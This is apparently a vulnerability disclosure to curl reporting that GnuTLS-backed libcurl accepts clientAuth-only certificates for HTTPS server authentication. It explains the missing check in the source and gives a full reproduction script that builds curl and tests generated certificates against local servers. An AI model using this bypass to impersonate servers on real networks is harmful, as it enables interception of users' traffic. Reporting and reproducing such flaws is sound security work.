curl · Report #3752567
curl GnuTLS backend accepts a clientAuth-only certificate for HTTPS server authentication
How it was found
Summary:
When curl/libcurl is built with the GnuTLS backend, the current HTTPS server-certificate validation path verifies the trust chain and hostname but does not enforce TLS server Extended Key Usage semantics. As a result, a leaf certificate that chains to a trusted CA, matches the requested hostname, and explicitly allows only clientAuth can still be accepted as an HTTPS server certificate. This lets an attacker who has a wrong-purpose but trusted certificate and private key impersonate an HTTPS server to affected clients, even though a correct client should reject that certificate for server authentication. The issue is not a caller-misuse or invalid-input crash: it is a runtime authentication gap in curl's GnuTLS integration. The inline PoC below self-builds the current source tree with GnuTLS and demonstrates that a valid serverAuth certificate succeeds, a clientAuth-only certificate incorrectly also succeeds, and a separate key-usage-only invalid control certificate is rejected.
Affected version
Validated locally on current master / HEAD:
d24652971a636a4b2374367434ed72bb561b79bc
The self-built probe from the current tree reports:
libcurl/8.21.0-DEV GnuTLS/3.8.3 libidn2/2.3.7 libpsl/0.21.2
Platform used for validation:
Linux x86_64 (Ubuntu-based environment)
I validated the issue against the current source tree. I have not yet finished a full historical bisection for the original introduction point, so the report should be treated as confirmed on current master at minimum.
Source-level explanation
The current source code shows why this happens.
First, the GnuTLS backend initializes trust verification flags, but it does not configure any TLS server EKU requirement:
gnutls_certificate_set_verify_flags(creds,
GNUTLS_VERIFY_ALLOW_X509_V1_CA_CRT);
Then gtls_verify_cert() in lib/vtls/gtls.c makes the trust decision from
gnutls_certificate_verify_peers2() and treats "not marked invalid" as a
successful certificate verification:
int rc = gnutls_certificate_verify_peers2(session, &verify_status);
...
verified = !(verify_status & GNUTLS_CERT_INVALID);
if(verified)
infof(data, " SSL certificate verified by GnuTLS");
Later, Curl_gtls_verifyserver() imports the leaf certificate and performs a
separate hostname check:
rc = (int)gnutls_x509_crt_check_hostname(x509_cert,
peer->sni ? peer->sni :
peer->dest->hostname);
result = (!rc && config->verifyhost) ?
CURLE_PEER_FAILED_VERIFICATION : CURLE_OK;
That means the current curl validation flow is effectively:
- trust chain check
- time validity check
- hostname check
What is missing is the server-purpose check on the end-entity certificate. There is no equivalent of:
gnutls_x509_crt_check_key_purpose(x509_cert,
GNUTLS_KP_TLS_WWW_SERVER, 0);
or a switch to the GnuTLS verification API that enforces end-certificate purpose.
So if the attacker presents a certificate that:
- chains to a trusted CA
- matches the requested hostname
- has an EKU extension that contains only
clientAuth
the current curl code still reaches the "verified" path because it never adds the missing "must be valid for TLS WWW server authentication" decision step.
Steps To Reproduce:
From the repository root, run the following self-contained script. It does not depend on any local PoC file. It exports a clean tracked-source snapshot with git archive, downloads GnuTLS development packages into a temporary user-local SDK, builds the current source tree with the GnuTLS backend only, generates a local CA plus three test leaf certificates, starts real TLS servers, and then uses a tiny current-source libcurl probe with certificate verification enabled to connect to each case.
set -euo pipefail
REPO_ROOT="$PWD"
if [ ! -d "$REPO_ROOT/.git" ]; then
echo "run this from the curl git repository root" >&2
exit 1
fi
for cmd in apt-get awk cc cmake dpkg-deb getconf git ldconfig openssl sed ss tar; do
command -v "$cmd" >/dev/null 2>&1 || {
echo "missing required command: $cmd" >&2
exit 1
}
done
find_so() {
local soname="$1"
local path
path="$(
ldconfig -p | awk -v so="$soname" '
$1 == so && $0 ~ /x86-64/ { print $NF; found=1; exit }
$1 == so && !fallback { fallback=$NF }
END {
if(!found && fallback)
print fallback
}'
)"
[ -n "$path" ] || {
echo "unable to locate shared library: $soname" >&2
exit 1
}
printf '%s\n' "$path"
}
port_free() {
! ss -ltn "( sport = :$1 )" | grep -q LISTEN
}
pick_port_base() {
local base
for base in 29443 29446 29449 29452 29455; do
if port_free "$base" && port_free "$((base + 1))" && port_free "$((base + 2))"; then
printf '%s\n' "$base"
return
fi
done
echo "unable to find three consecutive free TCP ports" >&2
exit 1
}
WORKDIR="$(mktemp -d "${TMPDIR:-/tmp}/curl-gnutls-eku-XXXXXX")"
trap 'jobs -p | xargs -r kill 2>/dev/null || true; echo "[*] workdir kept at: $WORKDIR"' EXIT
DEBS_DIR="$WORKDIR/debs"
SDK_ROOT="$WORKDIR/sdk"
SRC_ROOT="$WORKDIR/src"
BUILD_ROOT="$WORKDIR/build"
CERT_ROOT="$WORKDIR/certs"
PROBE_C="$WORKDIR/libcurl_eku_probe.c"
PROBE_BIN="$WORKDIR/libcurl_eku_probe"
PORT_BASE="$(pick_port_base)"
GOOD_PORT="$PORT_BASE"
BADEKU_PORT="$((PORT_BASE + 1))"
BADKU_PORT="$((PORT_BASE + 2))"
echo "[*] repo: $REPO_ROOT"
echo "[*] commit: $(git -C "$REPO_ROOT" rev-parse HEAD)"
echo "[*] workdir: $WORKDIR"
echo "[*] ports: good=$GOOD_PORT badeku=$BADEKU_PORT badku=$BADKU_PORT"
mkdir -p "$DEBS_DIR" "$SDK_ROOT" "$SRC_ROOT" "$BUILD_ROOT" "$CERT_ROOT"
echo "[*] downloading user-local build dependencies"
(
cd "$DEBS_DIR"
apt-get download \
libgnutls28-dev \
nettle-dev \
libidn2-dev \
libtasn1-6-dev \
libunistring-dev \
libp11-kit-dev \
libnghttp2-dev >/dev/null
)
echo "[*] extracting development packages"
for deb in "$DEBS_DIR"/*.deb; do
dpkg-deb -x "$deb" "$SDK_ROOT"
done
echo "[*] exporting a clean tracked-source snapshot"
git -C "$REPO_ROOT" archive --format=tar HEAD | tar -xf - -C "$SRC_ROOT"
echo "[*] configuring a current-source GnuTLS build"
PKG_CONFIG_PATH="$SDK_ROOT/usr/lib/x86_64-linux-gnu/pkgconfig:$SDK_ROOT/usr/lib/pkgconfig" \
PKG_CONFIG_SYSROOT_DIR="$SDK_ROOT" \
cmake -S "$SRC_ROOT" -B "$BUILD_ROOT" \
-DCURL_USE_GNUTLS=ON \
-DCURL_USE_OPENSSL=OFF \
-DBUILD_SHARED_LIBS=OFF \
-DBUILD_STATIC_LIBS=ON \
-DBUILD_TESTING=OFF \
-DBUILD_LIBCURL_DOCS=OFF \
-DBUILD_MISC_DOCS=OFF \
-DCURL_ZLIB=OFF \
-DCURL_BROTLI=OFF \
-DCURL_ZSTD=OFF \
-DUSE_NGHTTP2=OFF >/dev/null
echo "[*] building libcurl.a"
cmake --build "$BUILD_ROOT" --target libcurl_static \
-j"$(getconf _NPROCESSORS_ONLN 2>/dev/null || echo 4)" >/dev/null
cat >"$PROBE_C" <<'EOF'
#include <stdio.h>
#include <curl/curl.h>
static size_t sink(char *ptr, size_t size, size_t nmemb, void *userdata)
{
(void)ptr;
(void)userdata;
return size * nmemb;
}
int main(int argc, char **argv)
{
CURL *h;
CURLcode rc;
if(argc != 3) {
fprintf(stderr, "usage: %s <url> <cacert>\n", argv[0]);
return 2;
}
printf("version=%s\n", curl_version());
rc = curl_global_init(CURL_GLOBAL_DEFAULT);
if(rc) {
fprintf(stderr, "curl_global_init=%d\n", (int)rc);
return 3;
}
h = curl_easy_init();
if(!h) {
fprintf(stderr, "curl_easy_init failed\n");
curl_global_cleanup();
return 4;
}
curl_easy_setopt(h, CURLOPT_URL, argv[1]);
curl_easy_setopt(h, CURLOPT_CAINFO, argv[2]);
curl_easy_setopt(h, CURLOPT_VERBOSE, 1L);
curl_easy_setopt(h, CURLOPT_WRITEFUNCTION, sink);
rc = curl_easy_perform(h);
fprintf(stderr, "curl_easy_perform=%d (%s)\n",
(int)rc, curl_easy_strerror(rc));
curl_easy_cleanup(h);
curl_global_cleanup();
return (int)rc;
}
EOF
echo "[*] linking the minimal current-source libcurl probe"
cc \
-I"$SRC_ROOT/include" \
-I"$BUILD_ROOT/lib" \
"$PROBE_C" \
"$BUILD_ROOT/lib/libcurl.a" \
"$(find_so libgnutls.so.30)" \
"$(find_so libnghttp2.so.14)" \
"$(find_so libpsl.so.5)" \
"$(find_so libidn2.so.0)" \
"$(find_so libunistring.so.5)" \
"$(find_so libnettle.so.8)" \
"$(find_so libhogweed.so.6)" \
"$(find_so libgmp.so.10)" \
"$(find_so libtasn1.so.6)" \
"$(find_so libp11-kit.so.0)" \
"$(find_so libffi.so.8)" \
"$(find_so libz.so)" \
"$(find_so libbrotlidec.so)" \
"$(find_so libzstd.so)" \
"$(find_so libatomic.so.1)" \
-lpthread \
-o "$PROBE_BIN"
cat >"$CERT_ROOT/ca.cnf" <<'EOF'
[req]
distinguished_name = dn
x509_extensions = v3_ca
prompt = no
[dn]
CN = eku-test-ca
[v3_ca]
subjectKeyIdentifier = hash
authorityKeyIdentifier = keyid:always,issuer
basicConstraints = critical, CA:true
keyUsage = critical, keyCertSign, cRLSign
EOF
cat >"$CERT_ROOT/server-good.cnf" <<'EOF'
[req]
distinguished_name = dn
req_extensions = v3_req
prompt = no
[dn]
CN = localhost
[v3_req]
subjectAltName = @alt_names
basicConstraints = critical, CA:false
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = critical, serverAuth
[alt_names]
DNS.1 = localhost
EOF
cat >"$CERT_ROOT/server-badeku.cnf" <<'EOF'
[req]
distinguished_name = dn
req_extensions = v3_req
prompt = no
[dn]
CN = localhost
[v3_req]
subjectAltName = @alt_names
basicConstraints = critical, CA:false
keyUsage = critical, digitalSignature, keyEncipherment
extendedKeyUsage = critical, clientAuth
[alt_names]
DNS.1 = localhost
EOF
cat >"$CERT_ROOT/server-badku.cnf" <<'EOF'
[req]
distinguished_name = dn
req_extensions = v3_req
prompt = no
[dn]
CN = localhost
[v3_req]
subjectAltName = @alt_names
basicConstraints = critical, CA:false
keyUsage = critical, keyCertSign, cRLSign
extendedKeyUsage = critical, serverAuth
[alt_names]
DNS.1 = localhost
EOF
echo "[*] generating CA"
openssl req -x509 -newkey rsa:2048 -nodes -days 365 \
-keyout "$CERT_ROOT/ca.key" \
-out "$CERT_ROOT/ca.crt" \
-config "$CERT_ROOT/ca.cnf" >/dev/null 2>&1
gen_leaf() {
local name="$1"
openssl req -newkey rsa:2048 -nodes \
-keyout "$CERT_ROOT/$name.key" \
-out "$CERT_ROOT/$name.csr" \
-config "$CERT_ROOT/$name.cnf" >/dev/null 2>&1
openssl x509 -req \
-in "$CERT_ROOT/$name.csr" \
-CA "$CERT_ROOT/ca.crt" \
-CAkey "$CERT_ROOT/ca.key" \
-CAcreateserial \
-days 365 \
-out "$CERT_ROOT/$name.crt" \
-extfile "$CERT_ROOT/$name.cnf" \
-extensions v3_req >/dev/null 2>&1
}
echo "[*] generating leaf certificates"
gen_leaf server-good
gen_leaf server-badeku
gen_leaf server-badku
echo "[*] bad EKU leaf:"
openssl x509 -in "$CERT_ROOT/server-badeku.crt" -noout -text | \
sed -n '/X509v3 Extended Key Usage/,+2p'
echo "[*] bad KU leaf:"
openssl x509 -in "$CERT_ROOT/server-badku.crt" -noout -text | \
sed -n '/X509v3 Key Usage/,+4p'
SERVER_PID=""
stop_server() {
if [ -n "${SERVER_PID:-}" ]; then
kill "$SERVER_PID" >/dev/null 2>&1 || true
wait "$SERVER_PID" 2>/dev/null || true
SERVER_PID=""
fi
}
start_server() {
stop_server
openssl s_server \
-accept "$1" \
-cert "$2" \
-key "$3" \
-www >"$WORKDIR/s_server-$1.log" 2>&1 &
SERVER_PID="$!"
sleep 1
kill -0 "$SERVER_PID" >/dev/null 2>&1 || {
echo "s_server failed on port $1" >&2
sed -n '1,120p' "$WORKDIR/s_server-$1.log" >&2 || true
exit 1
}
}
run_case() {
local label="$1"
local port="$2"
set +e
"$PROBE_BIN" "https://localhost:$port/" "$CERT_ROOT/ca.crt" \
>"$WORKDIR/$label.stdout" \
2>"$WORKDIR/$label.stderr"
rc="$?"
set -e
echo "[*] $label stdout"
sed -n '1,80p' "$WORKDIR/$label.stdout"
echo "[*] $label stderr"
sed -n '1,160p' "$WORKDIR/$label.stderr"
printf '%s\n' "$rc"
}
start_server "$GOOD_PORT" "$CERT_ROOT/server-good.crt" "$CERT_ROOT/server-good.key"
GOOD_RC="$(run_case good "$GOOD_PORT" | tail -n1)"
start_server "$BADEKU_PORT" "$CERT_ROOT/server-badeku.crt" "$CERT_ROOT/server-badeku.key"
BADEKU_RC="$(run_case badeku "$BADEKU_PORT" | tail -n1)"
start_server "$BADKU_PORT" "$CERT_ROOT/server-badku.crt" "$CERT_ROOT/server-badku.key"
BADKU_RC="$(run_case badku "$BADKU_PORT" | tail -n1)"
stop_server
echo "[*] result summary: good=$GOOD_RC badeku=$BADEKU_RC badku=$BADKU_RC"
if [ "$GOOD_RC" -eq 0 ] && [ "$BADEKU_RC" -eq 0 ] && [ "$BADKU_RC" -ne 0 ]; then
echo
echo "[+] VULNERABLE: current-source libcurl built with GnuTLS accepted a clientAuth-only server certificate."
echo "[+] Scope note: the KU-only invalid control certificate was rejected, so this reproduces an EKU bypass."
else
echo
echo "[-] NOT REPRODUCED" >&2
exit 1
fi
Expected secure behavior:
goodshould succeedbadekushould fail because a certificate whose EKU is onlyclientAuthmust not be accepted for HTTPS server authenticationbadkushould fail as an invalid control case
Observed vulnerable behavior on current HEAD:
goodsucceeds withcurl_easy_perform=0badekualso succeeds withcurl_easy_perform=0badkufails withcurl_easy_perform=35- the probe logs
SSL certificate verified by GnuTLSin the vulnerablebadekucase
Relevant code path in the current tree:
lib/vtls/gtls.c:gtls_verify_cert()relies ongnutls_certificate_verify_peers2()lib/vtls/gtls.c: hostname verification is then done separately withgnutls_x509_crt_check_hostname()- no equivalent TLS server purpose enforcement is performed on the leaf certificate before the connection is accepted
Why this is not just “the attacker already has a certificate, so who cares”:
- the attacker does not need a proper HTTPS server certificate
- the attacker only needs a trusted certificate and key that should be limited to client authentication
- without this bug, a correct HTTPS client would reject that wrong-purpose certificate for server impersonation
- with this bug, affected curl/libcurl clients upgrade that lower-privilege credential into a working server-authentication credential
Impact
Summary:
An attacker who can obtain a hostname-matching certificate and private key that chain to a CA trusted by the victim, but whose EKU is limited to clientAuth, can impersonate an HTTPS server to affected curl/libcurl clients built with GnuTLS. This breaks the intended security boundary enforced by EKU: a credential that should only authenticate a client, user, or device can be repurposed as a server identity. The most realistic scenarios are internal or enterprise PKIs that issue both client and service certificates under a trusted CA, mis-issuance where a target-host certificate is created with only clientAuth, or compromise of a client-certificate private key that should not be usable for HTTPS server impersonation. In those cases, a man-in-the-middle or traffic-redirection attacker can present the wrong-purpose certificate during the TLS handshake and still get a successful HTTPS connection from affected curl/libcurl clients. The result is a real certificate-authentication bypass and HTTPS server impersonation against clients that believe certificate verification is fully enabled.